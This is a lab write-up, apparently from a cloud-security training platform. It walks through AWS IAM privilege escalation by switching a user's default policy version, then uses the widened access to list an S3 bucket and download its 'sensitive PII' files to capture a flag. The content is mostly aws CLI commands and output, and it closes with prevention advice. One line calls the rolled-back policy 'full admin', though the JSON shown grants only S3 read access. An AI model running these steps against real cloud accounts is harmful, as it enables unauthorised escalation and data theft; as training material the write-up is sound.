Using the provided Access Key ID and Secret Access Key, configure your AWS CLI profile.
This lab’s username is provided when you launch the lab, and you can use this information to list attached policies:
aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: PHP (php)
Result:
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyArn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8"
}
]
}
Code language: JSON / JSON with Comments (json)
This command tells us what policies are attached to this user, but we need to be able to see what permissions the policy grants us.
This is actually somewhat of a tricky thing to do with the AWS CLI. You would think that there would be a basic command that would do that, but not really. Instead, you have a couple of options.
One option is to use iam get-policy
where you pass in a --policy-arn
value (which we just got from the prior result):
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --profile raynor
Code language: JavaScript (javascript)
Which gives us:
{
"Policy": {
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
"Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2023-08-31T16:31:16Z",
"UpdateDate": "2023-08-31T16:31:17Z",
"Tags": []
}
}
Code language: JSON / JSON with Comments (json)
We get back a useful piece of information with the DefaultVersionId
because it tells us that our current default policy version id is v1
.
We can use this command to retrieve the policy for version 1 (which is the current DefaultVersionId
:
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v1
Code language: JavaScript (javascript)
The result:
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "IAMPrivilegeEscalationByRollback"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-31T16:31:16Z"
}
}
Code language: JSON / JSON with Comments (json)
We can see that we have limited access. Now let’s check to see if we have more versions available than just v1 by listing policy versions:
aws iam list-policy-versions --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: PHP (php)
And it will return multiple policy versions:
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-31T16:31:16Z"
}
]
}
Code language: JSON / JSON with Comments (json)
Knowing this, we can now try to list the IAM policies for those version to see if they have higher privileges, starting with v2:
aws iam get-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2
Code language: JavaScript (javascript)
Right away, we can see that this policy version has full admin privileges:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
Effect: 'Allow',
Action: [
"s3:List*",
"s3:Get*"
],
Resource: '*'
}
]
},
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2023-08-31T16:31:17Z"
}
}
Code language: JavaScript (javascript)
If you don’t see the same policy in version 2, check all of the other policy versions until you find the right one.
If we look back at the policy we have currently applied to our user, we see that we have access to iam:SetDefaultPolicyVersion
, so instead, we can try to change our default policy version to this other version that gives us access to S3 (for me it’s version 2):
We can use the command:
aws iam set-default-policy-version --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8 --version-id v2
Code language: JavaScript (javascript)
If we re-run this prior command:
aws iam get-policy --policy-arn arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8
Code language: JavaScript (javascript)
We’ll see that we successfully changed our policy version from v1
to v2
(or whatever you set yours to):
{
"Policy": {
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"PolicyId": "ANPAT6ZKEI3E3IG5CLWC3",
"Arn": "arn:aws:iam::272281913033:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidky1t7bwmv8",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-raynor-policy",
"CreateDate": "2023-08-31T16:31:16Z",
"UpdateDate": "2023-08-31T17:23:36Z",
"Tags": []
}
}
Code language: JSON / JSON with Comments (json)
You now have access to Amazon S3, including the sensitive PII data that you can download:
aws s3 ls
You can see that you have access to an S3 bucket with sensitive objects:
aws s3 ls s3://cybr-sensitive-data-bucket-<ID> --profile victim
Code language: HTML, XML (xml)
You can download all of the bucket’s contents:
aws s3 sync s3://cybr-sensitive-data-bucket-<ID> ~/Downloads
Code language: HTML, XML (xml)
You will now have those sensitive files downloaded to your local computer.
Copy/paste the first IP address from the first row of the .csv file (for member ‘Cooper Luffman’) and submit it as the flag.
Conclusion
So this scenario is a great example of how someone can elevate their privileges simply by having a misconfigured but seemingly harmless AWS IAM policy assigned to them.
This could commonly happen when a cloud admin goes in and initially sets up the account, and to make it easier they start off with high level privileges and then they go back in and reduce permissions. When versioning like this is enabled, AWS will keep track of that prior version. If the IAM user has permissions to set a different policy version, they can exploit this to their advantage as we just saw.
This attack can be be prevented and restricted by:
- Deleting other versions of policies
- Restricting access to actions like
SetDefaultPolicyVersion
andCreatePolicyVersion
More information about policy versions here: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html
Responses